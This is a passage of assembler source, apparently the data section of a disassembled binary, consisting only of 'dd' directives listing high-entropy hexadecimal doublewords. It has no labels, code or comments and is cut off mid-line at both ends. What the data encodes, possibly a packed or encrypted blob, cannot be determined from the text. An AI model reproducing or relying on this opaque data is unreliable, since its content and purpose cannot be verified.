3407C2EFh dd 0C5308E08h, 0C76440h, 654ABAAh, 8607B66Ah, 482E7D07h dd 110A4FBh, 438BF1h, 7264506Fh, 0BD161D13h, 296BFC00h dd 0D7BE96D9h, 62120045h, 0CC4B98A3h, 25024328h, 0AEC3EB11h dd 90C4E987h, 20A072FEh, 1B002F89h, 47CD2E7Eh, 35F5E46h dd 59B2861Eh, 0A081F29Eh, 0BD0460E3h, 0BB81801Fh, 88AAF9C0h dd 3E61F1h, 0D48D6736h, 0EC7471CCh, 77581F90h, 4DE300E8h dd 0F63763CAh, 789884h, 1C19397Ch, 20732DA8h, 48AB0600h dd 3E97104Eh, 64FE05CFh, 0C3EC5071h, 32C80E14h, 0EA1221D6h dd 19004058h, 55B6DAF4h, 0D55914F2h, 1703B5E8h, 9D79A876h dd 0FE0DC9A1h, 0FE28E4E0h, 0C28F610Fh, 2FE6A2B1h, 982CC32Eh dd 18740EDFh, 0D8E22881h, 0FA00F747h, 3943C55Dh, 3F0CA6CCh dd 7C806983h, 9F28F80h, 0CE049884h, 44919E86h, 91EF10F0h dd 54D807F8h, 0C4C405ADh, 3E28C137h, 2910048h, 0D09E03B5h dd 10EE41C8h, 6BE068DAh, 0F959A6A5h, 0BEBF1434h, 191300FEh dd 92BC30E0h, 42749EC2h, 0A3070201h, 842552F0h, 0D79303A1h dd 0BDB694F1h, 6ADBC0DFh, 8500CED9h, 5E143C07h, 0E7200390h dd 19BCAECh, 3B62BDF4h, 804F66DDh, 1BC36078h, 0F810F8C7h dd 0F226009Dh, 11097A52h, 30079F05h, 717957F5h, 142B80BEh dd 0F68859B9h, 5CE00F15h, 37A0B219h, 7FC512FAh, 6E58BA00h dd 313D8520h, 0DF19018Dh, 0D66273C2h, 368C4EBh, 0F0DE9400h dd 58CF841Eh, 358B804h, 4057A7B6h, 0A4D88A22h, 7007FF0h dd 0D2B26E23h, 0E6BC6BC8h, 0D52C008Bh, 0D6BFDA6Fh, 5A00ACEAh dd 0A2996DC3h, 1B2CB6Ch, 24487D21h, 0C8D29AE9h, 0FD7E1251h dd 34DD9D00h, 234278BFh, 0EC5F00A2h, 38CE63C5h, 94000FF7h dd 0D647BD9h, 0CC41B6BEh, 6DC21AC4h, 48C0DD05h, 0D40301C3h dd 0FBD46FCAh, 8072F310h, 3CD346B0h, 6C00111Dh, 0C8E9C60Ah dd 98002926h, 0B116723Ch, 0ED9B56h, 0FF835FE4h, 818FFDBAh dd 6D78A00h, 76DC940h, 5B6500D6h, 73D49CBBh, 8700C0C6h dd 4610AA19h, 6F2A15h, 0F41F2FECh, 0C656C2AFh, 28D91101h dd 4EB5AAE5h, 1EDAF7E0h, 1F15E22Eh, 96803ED6h, 0B4111E33h dd 0FC1FF19Ah, 8C03E89h, 77F41DA3h, 0BEEC00CCh, 1A720416h dd 2907991Bh, 7A7FB0E3h, 0DD6348C0h, 61E5077Ch, 8069DB43h dd 91D5D1E7h, 0C100AF78h, 3BD7CF08h, 174E55Dh, 0E32B7A0Eh dd 0F8420640h, 910C661Ah, 10098A85h, 0C96002AAh, 0CAB27EC1h dd 0D062BEC0h, 0FE6DC006h, 0E4E06ABCh, 0D5F83979h, 4075851Fh dd 45176FF9h, 8C00A2A4h, 54D33B69h, 0D1DF50h, 0AD3371F6h dd 39267704h, 6BBD3700h, 20101449h, 8D8E0092h, 67429302h dd 5801B098h, 0F4B1378Ch, 29F8234Bh, 40B30E63h, 0AC206084h dd 78E801A6h, 47676100h, 0FBC47DB7h, 5F0007Eh, 0B50F6F57h dd 3700AD3Ah, 155C74B3h, 3B9334h, 0A76314F2h, 0FBB05E3Ch dd 8243710Ch, 77D06Eh, 8EFAD72Ch, 8110B9FEh, 0EDD21D0Fh dd 12BF0025h, 0DD1A87h, 0AD1E0DECh, 0B9468ABEh, 5971DB00h dd 3DD5F1C4h, 70CA60B0h, 2655345Fh, 0C2D81750h, 9B30B370h dd 0F65B68E2h, 0B83CEAB8h, 26D802A8h, 9A64CF5Eh, 31E4D040h dd 6DF2FE0Fh, 97D0039h, 0E03CC51h, 0CB41E2A7h, 606032A7h dd 8B273CE4h, 2E061700h, 9D2DCDF3h, 7AA23F16h, 0BCD2CE8Bh dd 62C45780h, 0A40082CBh, 349F568Ch, 0EC57C830h, 0EB48309Dh dd 33AF5190h, 13F390A0h, 0E5B0734Eh, 123A7896h, 755710Dh dd 0C0B21D6Bh, 0B74540FEh, 5E280700h, 3C4FF114h, 330E00BEh dd 73841F5Dh, 6748ED2Bh dd 38511E94h, 0ABAC6C80h, 46AD80Fh, 34146E6h, 2F608777h dd 63EF18B8h, 0D4BFCF00h, 5B780D14h, 0FE9E1497h, 3600A681h dd 0F36FF8C9h, 1605C879h, 27394907h, 64249C00h, 3F84E6F7h dd 9680253Bh, 238CB450h, 0E1C0D8FAh, 42C43FE1h, 0E4431E0Bh dd 0C328C3E2h, 0DEC00A45h, 251FE5E0h, 88C00DBAh, 67B5D16Dh dd 8E781237h, 6E384783h, 928D673Eh, 0CB63A2F3h, 4781E109h dd 7D0480CFh, 1DD85182h, 80346FFBh, 0EE7BB440h, 41318A7Ah dd 8CBEFCCCh, 0C1CC17F5h, 0D8DF6007h, 426EFB6Bh, 0ECA49F0Fh dd 0DA7A066h, 3962D99h, 88821578h, 6CB858F7h, 39000756h dd 4D5EB61Eh, 0E6FE1Fh, 2953841h, 801AEFD2h, 0A26E4400h dd 57F3CFF7h, 595416B8h, 0C0851ECCh, 807863A6h, 0E200B44Dh dd 4C91CE64h, 0E49A582h, 59CA6029h, 0D0099587h, 0D5ADAFE9h dd 89544B00h, 557EB2B6h, 0C30B3AFDh, 6F92B01h, 0D032220Ah dd 5200B66Fh, 0D13EF795h, 39BB090Dh, 10804F5Eh, 0B1AE9947h dd 5F0073CDh, 0B394B87Ch, 0A93A09h, 0A6F582D7h, 3C89E734h dd 0B5DDF04h, 80EE742Eh, 0A40C66DEh, 0EF033800h, 0AFE6C76Bh dd 0EE8F00D7h, 0CE24A986h, 5B003015h, 0A08B8E6Ah, 161A788h dd 0E4256CB6h, 80D844E5h, 74AF8448h, 0BEDE0h, 3F53F6C4h dd 451266A6h, 0E8206900h, 1770BA23h, 0C4F4009Dh, 0C7528692h dd 48009435h, 0AACA7BFFh, 60875B24h, 61B3702Fh, 0EB001364h dd 0CC14FFBh, 0A38B74h, 97AF877Eh, 0A08870DDh, 0D5006878h dd 34FAE71Dh, 7F1E2150h, 0A8A6021Ch, 4B737118h, 0E2C88040h dd 49D65C00h, 0FB7E5B67h, 5EDA036Ah, 0FF7145A3h, 0F2C08CEBh dd 0A89846ABh, 0AA56EB00h, 21442FB8h, 0D37BB9h, 0BE630850h dd 3AA2689Fh, 3600D098h, 6074C981h, 276F7Dh, 84C43F1h dd 0B223A4F2h, 0F43F4824h, 6B0CF800h, 2672F31h, 5587D19Bh dd 58606C0Eh, 5A00A103h, 3D731B66h, 91FD8Dh, 72A26A45h dd 4ED33F23h, 9A0058F2h, 0A7228131h, 0FF6D62h, 157785CDh dd 2E8399B2h, 0F3791101h, 12427150h, 74A68C30h, 0E82900B6h dd 0BD4FBB17h, 3E00D9F6h, 8F4D99C6h, 0C0ABE0C7h, 9818DCF0h dd 491FFE74h, 65C2A720h, 40D84275h, 75B0A50Ch, 113C604Ah dd 0D9511D9Ch, 164F4D00h, 0C415DF39h, 533A0065h, 0D2D7B434h dd 454DD468h, 3F6D1FC8h, 4EF47F07h, 0B310E1E7h, 178A8ADh dd 0F28A5D35h, 0C4E4DA37h, 297A05B9h, 10875700h, 3D9D286Ch dd 0AC1C3FCFh, 65E08100h, 79FD5091h, 0F73BBC00h, 98D2BE74h dd 52E8E7h, 4A45FC68h, 0A4476020h, 420096EEh, 396AAE62h dd 9BB5AFh, 0D198F890h, 445BACB3h, 849AA00Fh, 1AA2A031h dd 0B32B6C2h, 0D6060188h, 0F5C96700h, 0B1FE967h, 0C39FA373h dd 2C95F940h, 239CD86h, 0C67AD68Dh, 8040B731h, 0D21EBA11h dd 19C00F1Ah, 1EAC07Eh, 305500CEh, 0A9254DF9h, 8F7D5080h dd 247F327Ah, 8813B400h, 66F6E01Dh, 701E0ED3h, 0EBA5D623h dd 0F408C05Ah, 0CE7D4C37h, 0AE6C2416h, 0C94B1403h, 0AC66C01Dh dd 424500E8h, 524195D0h, 941634B0h, 3042F73Ch, 609B2C1Fh dd 637C0CDAh, 3FA5B1D8h, 0AE3912D8h, 0A95D6100h, 888A3B63h dd 3C4B4C81h, 44B4CD18h, 8E74A347h, 9BB11000h, 6243CBEh dd 948B0FC7h, 3D616241h, 0E4C6BCE1h, 7E021D9h, 0CC13327Bh dd 0C4001D11h, 0C1BE3531h, 3811C21Ch, 1360BA30h, 3700C5CBh dd 7ED26AB2h, 0E07DC2h, 0E5E69660h, 8C863F6Fh, 635E8D02h dd 8037A7ADh, 535104CFh, 48F41E21h, 296DC069h, 0A0C3868Ch dd 0AB509D00h, 8B9CFD31h, 0C2690040h, 46EC5E4Dh, 21F0D7B7h dd 0F218513Eh, 4393AA00h, 0B2843766h, 48622AE0h, 712F73B8h dd 0DB6100C9h, 0C481A5A7h, 48009CCEh, 7EADA468h, 0A885C7BDh dd 7363BB9Ch, 559103CBh, 68BCAEDCh, 5F8FC5F8h, 0C101ABFAh dd 4FF385FEh, 602816B1h, 96C05B07h, 58704C33h, 81C8E63Eh dd 0C4C6376Bh, 18838431h, 0B98E27B8h, 2AEBF9A0h, 0B0313461h dd 49BA6EF1h, 7F540EF0h, 9D8008F3h, 44DFB33Eh, 4E92BC00h dd 60FC127Ah, 6BC50005h, 10F3571Bh, 6E74DA54h, 0EB80340Dh dd 38105848h, 60537466h, 0F38850F5h, 1850B151h, 3100ED5Ch dd 0F96D634h, 0E89EDE8Ch, 2EDC138Eh, 45E040F0h, 576225D4h dd 0B8A36F01h, 6D5547A4h, 0FFB8130h, 524CE685h, 2AE8AD20h dd 0AB00A4BCh, 0B50B366Bh, 1B973Eh, 6E91205Dh, 0BD823F24h dd 0B46C7A00h, 0F8691D23h, 725100B5h, 2695FD9Fh, 34FE48BEh dd 0B9080300h, 28E9D33Eh, 7F37787h, 69F794CBh, 0ED82401Fh dd 0F0A84E18h, 1B1F537Ch, 9D405F80h, 88E21345h, 668C001Ch dd 0BBC8BAF0h, 55004005h, 542469F3h, 0A199ED7Ah, 4F0844DCh dd 0B62D7D00h, 0EF8E67B8h, 89766B0h, 7500214Bh, 997F2D85h dd 0C2E7125h, 0C2E215B3h, 140CB60h, 4048FA31h, 7260BF3Ah dd 0F0162738h, 4B52152Dh, 747CBC70h, 608B7AC2h, 880C11EBh dd 6506C31Ah, 6D6E3773h, 0DC64E109h, 1A7F06ACh, 9135454Ah dd 1CDEE600h, 1FDDE98Dh, 60416349h, 21013844h, 99EA838Bh dd 7AF4E9FAh, 984D5418h, 0E0AC1C30h, 519D4052h, 88602263h dd 9E9E1124h, 23C82E03h, 0D4D01209h, 6D770CECh, 8FB78AB9h dd 53E0208Ah, 0CDB0EB57h, 0DCC98508h, 4300F2BEh, 10BDB524h dd 142504DDh, 0B85AF575h, 0F8816905h, 0BA90002Bh, 460561Bh dd 37A61107h, 6623D4AEh, 0ACD9D0DDh, 0FE6A013Ch, 0FB3D8515h dd 0D6D5C8B5h, 0EA9FF800h, 72390ACDh, 8F83002Ch, 1DAA47A5h dd 5D13BFF6h, 14035195h, 807394E1h, 1D8BF428h, 0A624F8A6h dd 2B7B00A9h, 74951B7Eh, 91005F77h, 2472C111h, 0E72359h dd 7AF9527Fh, 4A863135h, 0A73EF00h, 0D9AD8B87h, 58AB0F18h dd 4680BE78h, 2E2006BFh, 1F0F4C7Eh, 0C359D35Ch, 9BE53FECh dd 5B23B0B2h, 0CCF44Bh, 902B68F2h, 0F14CD1A6h, 34C9EE19h dd 21805D08h, 0EC90228Fh, 0DB78DF9Ah, 9700487Ch, 0FD2A624Dh dd 8E6E10h, 0C512923Bh, 1058AEEh, 7A7C5A01h, 51AAD267h dd 1E84AE4h, 78557258h, 91DC813Dh, 2D802189h, 5CD1A890h dd 8877F043h, 9004248Dh, 0D4E1A89Eh, 2F370052h, 0E6C5393Fh dd 732DDF00h, 7093AF3Ch, 68976361h, 406456A8h, 30601C70h dd 0D168AB90h, 63913868h, 90278800h, 491E9C76h, 75E93E03h dd 575C77h, 7E687A21h, 4F5812CFh, 4B25CB00h, 0E77D943h dd 0CD2D03ECh, 4EE2EEB9h, 5E48311Dh, 77309C06h, 2A980E11h dd 4100A632h, 10F94D0Fh, 216C08CDh, 0ADC823F9h, 0B12103A1h dd 2C57EED4h, 0D8598990h, 0D2685803h, 8EDDFD45h, 9F60C868h dd 0A53229C1h, 0B0E39C1h, 80322235h, 4B1FBA5Eh, 3899F8EBh dd 5F8ACBA0h, 21D49D01h, 1862D19Ch, 30D4000Ah, 337FB656h dd 4701F337h, 590495E5h, 0D8EB5772h, 0E09AF9C4h, 821B0056h dd 0D2B38709h, 0EA3A78CFh, 3C6B0092h, 31936C6Fh, 445A0079h dd 17D94B0Bh, 38076541h, 0CCE266ADh, 8319E7B0h, 9FE900B3h dd 0C94A5BF1h, 9B2CCEA7h, 4B001B38h, 3C667C3Dh, 47330763h dd 0E0279117h, 0C4520D6Ah, 0E464180Fh, 7B110054h, 2458C88Fh dd 0FD0BFDh, 4A3D33A2h, 0B200165Ch, 0D7CDBFFFh, 20C605h dd 2EECAA1h, 64F16794h, 264B5402h, 9C5B69ECh, 2CB10004h dd 1B39FEDh, 0E1F8557Ah, 0E3DA7203h, 0F84B6981h, 143DDECh dd 1AF4BB76h, 806E09DFh, 77EE6540h, 46FFC34h, 2201C3D0h dd 3C098049h, 6A1C7E82h dd 20B0C826h, 14FE9A5Bh, 20DE8AB9h, 181EF0E1h, 5FFE10E2h dd 26710353h, 5A51BAh, 2A803BB9h, 0F7AD3C4h, 6ADC6E12h dd 2141FE0Ch, 2B780099h, 0A2354D6Ch, 63719A54h, 2EF42918h dd 19D92F9h, 8E8B07D9h, 0ECB20E7Fh, 360051C6h, 0A40CEAEEh dd 0E7847AAh, 4E6A55A9h, 839CC2EAh, 3CAFFE63h, 0B1779807h dd 1C89619h, 437B5AD3h, 8911806Dh, 0F2B9E980h, 0F04A0C6Eh dd 830896EAh, 88AE21C0h, 0D231E9h, 53BC7763h, 74CAD8D3h dd 7035DE0Ch, 3AF2299Ah, 790247BFh, 6617B155h, 0C91F3463h dd 9980958Dh, 44E07A2Dh, 0EACE2805h, 0C7E61CD5h, 6F45CD28h dd 89A5E849h, 0EA234100h, 0CC1F05D0h, 28C8CE31h, 2D0AD4Ah dd 3A4E71ECh, 0D4B08480h, 734855B3h, 8BC40004h, 0BADBBFFBh dd 0B61800D2h, 0E24A56EAh, 8F021F11h, 0E8969C1h, 0C94A0EBh dd 18119C4h, 2A36BD64h, 0D137AD6Dh, 0AA2180F4h, 1FFF1ABBh dd 726A0FC1h, 0AC35F665h, 0B1DBDE06h, 0BC837886h, 0C92C21ADh dd 0E564F819h, 0AFF3448Ch, 1E19C007h, 0E01FC39Ah, 0E0CD9E34h dd 647C3Ah, 0D0EE696Bh, 0D46FFBABh, 8A60BDE8h, 641E6368h dd 0F681C549h, 23682BC2h, 8B4100F9h, 8530F070h, 0F78A6600h dd 0C7A7F540h, 0AFE0A0F4h, 4DFE2871h, 925274B0h, 0CAF058h dd 80D1D695h, 7C53A273h, 2842AC01h, 0F7EF2E6Bh, 908A9980h dd 29F3BAEBh, 46EC40h, 0AF842CB5h, 0A7578DA8h, 4108B066h dd 0BD670021h, 0B714822Ch, 6EE6DF55h, 0A64DC609h, 4F6818EDh dd 34F48053h, 541139CCh, 899200EEh, 0C45044C1h, 8850ABDDh dd 3F26BFB5h, 8E1D1802h, 1F809C0h, 334FB92h, 26EAADC8h dd 60B8504Ah, 0FE14ED79h, 0A0EC45EFh, 149E78BEh, 0C862B6F8h dd 49EE2A73h, 1E8546F8h, 644819C8h, 40FFC4DDh, 7A19BFAEh dd 0EBC2090Bh, 78106735h, 8F31C7F4h, 3C25A806h, 0F7D3B88Ah dd 71B300C4h, 0EE39984Fh, 0D01D9CF6h, 841C6077h, 0DFD7F2C7h dd 600E28CCh, 0BB1569E4h, 0E10E18CBh, 0C29178F2h, 60ECD1CFh dd 80331F64h, 0C100807Ch, 57257189h, 932CA3FEh, 88ED9FB0h dd 6A1833D2h, 70D830A9h, 0CC4482B3h, 18B9F481h, 2BE6B8B4h dd 11F4B0AFh, 0BC660040h, 0A146802Ch, 0B5C13001h, 44775AECh dd 848F4899h, 8EF2A4E9h, 0AA208262h, 0FA2BE98Ch, 1E0C012Dh dd 99ABD255h, 45D84188h, 8029BF7Dh, 0D16AAEAFh, 0CE3CBEh dd 9054D7B2h, 2F339AC2h, 397AE406h, 310CD0h, 0B2C99D69h dd 99A9419Ch, 802C6E28h, 0DFAC30F9h, 0C37C4588h, 89ADA531h dd 36D15E88h, 632F0A01h, 3051BCE5h, 6967FE4h, 0B271B1CBh dd 0E8C44853h, 7E30437Dh, 0F221B7E9h, 86B0C05Eh, 641E69E9h dd 0A8802FC5h, 9E95FCDCh, 6299168Fh, 0BC380849h, 0C22A7EC0h dd 106A21D3h, 9B004891h, 68012B76h, 0D1C3E70Fh, 7DB3263h dd 0A53D31E0h, 0CC7E702Ch, 335094E6h, 4B42D684h, 0C1C1AB1Ah dd 608C8084h, 108019C3h, 0C837B564h, 0BA80BBF2h, 3205F51Ah dd 0D309B64Bh, 202DF3EEh, 0E7DFB00Ch, 2FB80165h, 51AC14E3h dd 0F4C0248Dh, 6F8F0900h, 96E987E0h, 4ACC1295h, 0B3E041A9h dd 3690CBB0h, 0B809F3ECh, 26627FBh, 0A80C536Dh, 0E7309D22h dd 0C4E54828h, 7D7F310h, 57F504E9h, 0C111C06Ah, 0C72A8380h dd 0F4392D3h, 981E4522h, 0EF412A7Bh, 6C1EE5FBh, 18D26C64h dd 7087B9DBh, 0DC001B7Ch, 4EBBBC76h, 23CE57h, 0C1B27063h dd 0E69B3CAh, 27C84850h, 3C0AE39h, 0D1BBD48Ah, 7D403D89h dd 0AC2BF215h, 6B5FED00h, 27CEEB5Eh, 0B20976FEh, 900F8AC3h dd 724D618h, 1A4D081Bh, 8E7DE46Ch, 0C17D88C8h, 3156D3F9h dd 29809108h, 2CB74601h, 36D8AF7Eh, 163A2208h, 802CBF6Dh dd 1205EADCh, 0A06AAF04h, 6CC0F08Bh, 16BC387h, 0D042637Eh dd 0C46DF6D1h, 9C162437h, 540E482Bh, 6809B03Ah, 9CACFBA8h dd 0F343BC88h, 0A30B32Ch, 4444B8AFh, 0BB805C42h, 0FF0E0F2Ch dd 0DB1B00E1h, 86FEA0BCh, 0FD008E94h, 9E790973h, 5451CD1Eh dd 56AE84Ch, 4BF8F078h, 2341C02Bh, 9700FA0Bh, 0C23A95B1h dd 0B1E30F1Bh, 80A61C00h, 0DBC3E22Ah, 0EE7470C4h, 21D40F73h dd 583D1F09h, 807D0200h, 0C04951BBh, 127CF969h, 2E00D275h dd 5DC6CBC4h, 187965Bh, 0EA7F0317h, 0C21EEDB1h, 8081C0C8h dd 23505649h, 2A7F01BDh, 3372D3C3h, 779C8110h, 35E0752Bh dd 0C107E962h, 292CD878h, 92810AC4h, 0E900B856h, 2663DCE4h dd 64464808h, 89F984h, 0B11EE8EBh, 6015EA3Ch, 79AF411Fh dd 30814D8Ah, 0B00C2420h, 0E6861430h, 0DA0354F3h, 43B5FBE3h dd 0D778780Bh, 2904A137h, 0F857CA81h, 0BE4F15D0h, 0EFFCF562h dd 8F710197h, 0BBD1C9CFh, 0CE898011h, 2E87E1F4h, 185774B1h dd 705ACADFh, 888A54F1h, 651E5CA0h, 8004BBCh, 0BEA1B17Ch dd 0F470C058h, 81A841D7h, 5C5E557Ch, 0C2266CB8h, 0A701DC3Ch dd 3E0EC59Fh, 6FD8F2BAh, 55C90EAh, 3FF70480h, 0ABA84E47h dd 651C84F5h, 1827DA06h, 3000ACE4h, 0BBB53ED2h, 3DB4103Dh dd 0C7816C87h, 7D6D01BCh, 759120AFh, 0ED3DB114h, 0E8884098h dd 0A45953h, 0CB545630h, 38A76CD8h, 0AB14D54Eh, 2A00D0BDh dd 2675D2CEh, 6B28FE65h, 0FF454C55h, 30888002h, 841119C7h dd 0F288D564h, 19BEB180h, 9C7A32h, 0BB63830Ah, 65E86DD4h dd 83FB58C8h, 4FE3EF1Dh, 0E4207060h, 4C35E7C9h, 0CF804C68h dd 0CB4844A0h, 51DB290Ah, 0B404E09Ah, 94D281BBh, 46BCC42Dh dd 0E97D027Ch, 3166F2B6h, 85AF107Fh, 0D68000E9h, 1F1A7CA2h dd 0AC924DDCh, 8C457624h, 37551440h, 7470EE16h, 1E6D79B9h dd 0E675654Fh, 0F2BF0840h, 0CEC1B664h, 4036E0AFh, 6C013B22h dd 148C2CBEh, 87FCF4BBh, 18B4B803h, 71774484h, 690097DAh dd 142F75Fh, 16DDD44Eh, 4AF5370h, 0B47E9158h, 3040C810h dd 0E3950273h, 0E20F9B5Ch, 0B0686B20h, 3B6A00C0h, 9C276652h dd 10055ADCh, 0AC1942D9h, 44769804h, 0B4E98330h, 5496F22Eh dd 8BA970h, 0E3B4ABE9h, 51E4442Dh, 0C8C5DB2Ah, 101E5726h dd 0BF480449h, 0C92A8560h, 16A2D327h, 7D960390h, 0E2A9432Ah dd 89BFD980h, 8C1F041Eh, 0A67B50B0h, 5A11092Ch, 0C031ABh dd 0B0B68CDh, 0A62681B2h, 5A9215Ch, 0E3F9D269h, 10E8C129h dd 9804046Ah, 0FCA44D70h, 45994069h, 9F397160h, 128C8A7Eh dd 82E96B1Dh, 5C015398h, 0E987BDDBh, 832A2963h, 10736BADh dd 3BD02618h, 649B5B28h, 0E1BB4AE4h, 82E0F890h, 38D98B76h dd 9034F050h, 0AFA371h, 0A2BFF6B8h, 25557B93h, 82C53B17h dd 5AFEC804h, 0BC3D6743h, 43203C8Dh, 0AF04A146h, 43E0681h dd 0ECC9CF78h, 66F7FC40h, 0F4A40014h, 4F6C8D1Ah, 18984125h dd 2CB1E505h, 0A4415253h, 81B76819h, 0D79FD43Dh, 233C4B20h dd 7B405F80h, 1DFCDDCEh, 43A6AD0Fh, 58C30082h, 171EA73h dd 21CDFA32h, 0D4FE86FDh, 0E1026E19h, 0B591F018h, 0D46340E4h dd 112A0093h, 723E039Fh, 0DF3C17C2h, 0B9AF0328h, 0D899BD24h dd 1E190Dh, 0F7F95329h, 1463BB6h, 7FA29D00h, 7E4E358Ch dd 82D9000Ah, 4CF6D5D6h, 31006B80h, 0CE6D0BCCh, 4DD40ABh dd 259B93A5h, 0AB80FFA1h, 940F49h, 0BD69B821h, 4612D2E4h dd 0F5D8421Eh, 17007A7Ch, 0C2A44E48h, 3A408510h, 0B2BB8257h dd 87A17200h, 0EE139946h, 0D674E700h, 2CDACB2Eh, 52F0003h dd 0EAE9D728h, 58013209h, 689CC2B9h, 9EF0190Ch, 146E03A1h dd 0EBBF0216h, 0B0689DDAh dd 13003F62h, 35D86659h, 1824CA70h, 1175EA20h, 180023CDh dd 0C0ABA438h, 1462250h, 8A746909h, 80B3905Ch, 0BE140C78h dd 806B20FCh, 0FB00E7B1h, 2CF69725h, 0FF37A5FEh, 6007EC52h dd 0CFDC0EA8h, 2803260h, 0D624E2EAh, 1ADBCD00h, 397599E4h dd 9650005Ah, 0B20F3AB9h, 1E0E4EC6h, 0C08BF82Eh, 75339E1Bh dd 8F2207B7h, 0C06D62F3h, 1D42C8DAh, 0C648C400h, 1CA4198h dd 0AB231DD8h, 8557C14Fh, 0C0CDAF09h, 0EB005073h, 0C7B3545Eh dd 0A0B634h, 0C30608DDh, 4F62D190h, 0A57C59F4h, 1BF46700h dd 61177036h, 0EF75001Ch, 0ADFA050Eh, 0FC00823Ch, 7A01A732h dd 281DDFAFh, 18C514Dh, 1AC9B0F4h, 0D8119941h, 26028C40h dd 685CE875h, 0C3084194h, 4C4EEEE0h, 59091161h, 68A0DD41h dd 0CD2B06A0h, 7B678901h, 0A481E09Bh, 1D077CECh, 0F4A647h dd 83D75AC5h, 5C000308h, 26BF91DDh, 47C844h, 79C2190Fh dd 0E759369Ah, 10DDCC1Ch, 0F2DB2880h, 0F16D05Ah, 309172B8h dd 8B35C900h, 0D7C6B9Ah, 82B43307h, 0E5109470h, 9005D2h dd 4B5BF376h, 0A83B29D4h, 9BDFE8A8h, 0BB655D00h, 3FD17942h dd 33E4259Ch, 0C9005A74h, 55B12D57h, 3BA600D6h, 401D6284h dd 9A14DC3Ah, 9CF81560h, 885F28CCh, 573F9h, 212B4146h dd 9A521DEFh, 0DDEAA300h, 4E64A4F4h, 2F0E00BDh, 0E2D839B3h dd 3C90C522h, 20274326h, 0E5199880h, 52E2BB5h, 3058544h dd 809C1D5Ah, 0C6FB066Bh, 94000EE5h, 115136Dh, 1117293h dd 0C7397FDh, 24678E4Ch, 0D00D998h, 0DEA95D57h, 22BDD09h dd 85A3283Ah, 9448FB70h, 7B002157h, 939D6EC0h, 4BAF8Bh dd 98A2E316h, 50230C6Fh, 2D178F01h, 0E4BAD058h, 49D4E1E5h dd 38310080h, 1F9E1C0Ah, 5500D9FDh, 4BFFA0F9h, 3150FDDh dd 5BBE3AA7h, 0CDF0E516h, 0B1000847h, 1CC7FACEh, 0B781A9h dd 90A2C63Bh, 3AA48E44h, 6D73BA00h, 4FF3EA70h, 18090069h dd 2AA24271h, 6E0007EFh, 0ABE34CD6h, 31ECDh, 4614B6A7h dd 0EDFE0B6Dh, 5F6220E4h, 40F20FB8h, 0F7B29F3h, 0E552A98Dh dd 90DC8965h, 9FC58578h, 0F93B3Bh, 0FF2A25B7h, 10EE9Ah dd 0A5A12DAAh, 0DD8DDF2Eh, 47BBF100h, 0EBC7A631h, 0CCFD12C5h dd 0FA8303B8h, 18033085h, 0F10A93DDh, 0C0115A7Eh, 0AB22C128h dd 78336E03h, 0D864851Bh, 16BC2EECh, 0A0E5EBh, 4AADE62Ch dd 9D0FA562h, 402326B6h, 883A2E1Bh, 92803A74h, 0FA0ABF00h dd 56438C4h, 0EAE41C1Ch, 0A8289F80h, 0E54675h, 2154C2B0h dd 8792E91Fh, 996A7101h, 0B9CA5F62h, 2114C64h, 0A9F2E77Fh dd 40FF94h, 5A1701F0h, 7D00140Fh, 8C876558h, 7B4F0138h dd 434ED1F7h, 145A2091h, 5C18AD77h, 0F226AE3Bh, 394B0049h dd 0B19B28A9h, 0B36035F6h, 0EBD6C918h, 0E6CB0463h, 83C05ACCh dd 0E0A2F634h, 74A3AEE2h, 0FCE8611Ch, 0C6003726h, 412F865Fh dd 0FD28C5h, 0F6931EC2h, 0A6D4079h, 441E9971h, 0E40025A5h dd 65639688h, 32C00002h, 0FDA96D69h, 0AF38D93Ch, 358D00CEh dd 6580E0FEh, 727D76h, 2524B88Eh, 0ADA13721h, 2804C30Eh dd 0ED584019h, 5618BCh, 77EA8809h, 9FC942D7h, 7D806200h dd 3F69BA32h, 345300BCh, 25E6C1ABh, 2A006DADh, 21B5EC76h dd 0B0ED8D38h, 0A2701C06h, 8208003Ch, 7DEC958Ah, 6678B000h dd 0CDCB3593h, 72AC0EA1h, 73401B48h, 0D021C192h, 9AD4BE00h dd 6E433861h, 0CFD21E8Ch, 0A29E4096h, 2B148052h, 0BC15A100h dd 0FBE5200Dh, 95C405FDh, 843C60AEh, 93808044h, 0D8028A4Fh dd 0F2BBEEDDh, 447040ECh, 0FDC600A8h, 17D060F7h, 0BFE5CC2h dd 0A51B58C0h, 0FEF4DC7h, 85BD20CBh, 0A6DA3FA0h, 0D0001D94h dd 9197D524h, 86A1C7h, 0FB6FBC5Dh, 107CFCA8h, 5E1DC300h dd 49B860B9h, 0E3DF0084h, 55F9CB76h, 9099DC6Fh, 1E853B03h dd 2263A850h, 44A701AAh, 0EBC6C97Fh, 0C2D4Bh, 28D6B691h dd 2B318A6h, 19D0BF89h, 40C09B44h, 0B900C48Eh, 16A42912h dd 90B627BDh, 0A7353F4Bh, 0BA0080DCh, 9E2B10B3h, 0D02BEACh dd 0DC4B6579h, 7B0850E8h, 57272E26h, 183487D4h, 4A46D0B6h dd 292ED1B8h, 0D4032CA3h, 0A0BC102Ah, 0A12B6D08h, 0F0EDDA18h dd 2E74F208h, 8763C401h, 56F4EE3Eh, 172D6BF0h, 808B8E57h dd 378D6568h, 7CF0A93Ah, 22BC830Ch, 15C5153h, 18F2BA0Fh dd 0FCC3FDB0h, 8E0208B1h, 0EB4FAF86h, 265CD215h, 57A2FA9h dd 87C61062h, 0DBC241B1h, 456C40EAh, 1E0035A6h, 4C44C557h dd 1749BCAh, 42C29FDEh, 0DC2EEB2Ch, 0CB01CD06h, 32E08859h dd 28EC4D8Dh, 6D600086h, 0BA452AB3h, 38018EB7h, 49E6DE72h dd 98FCFFBDh, 16800DAh, 636C9C99h, 0F5000E90h, 4B882F6Dh dd 0E6594FA9h, 0D4440095h, 6F43B4D1h, 0BDF2DE8Fh, 470AA100h dd 9B8096BEh, 7F55037Eh, 0E1A0653h, 0C9BFC1B0h, 8E457913h dd 447A5047h, 0C514EB1Bh, 5215046Eh, 6300A098h, 0BB807BFCh dd 661C9D0Eh, 83CFED5Dh, 98D81CC2h, 7331FAh, 3CE10D3Ah dd 598D3EC7h, 0D821AE00h, 0A4F5D22Fh, 14710008h, 0DE516B53h dd 721F3E0Eh, 3F9D682h, 0ED7B396Ch, 15C6B84Ch, 0C4F000FEh dd 5279FCD1h, 7F008FD0h, 1F113B30h, 5C38EF0Ah, 16018CB9h dd 4BF76440h, 0D4E86479h, 7CFB6600h, 0FF4D1E6Fh, 83BD1609h dd 30D44010h, 0C4489BE6h, 0CC1A513Eh, 65930096h, 0B18B3920h dd 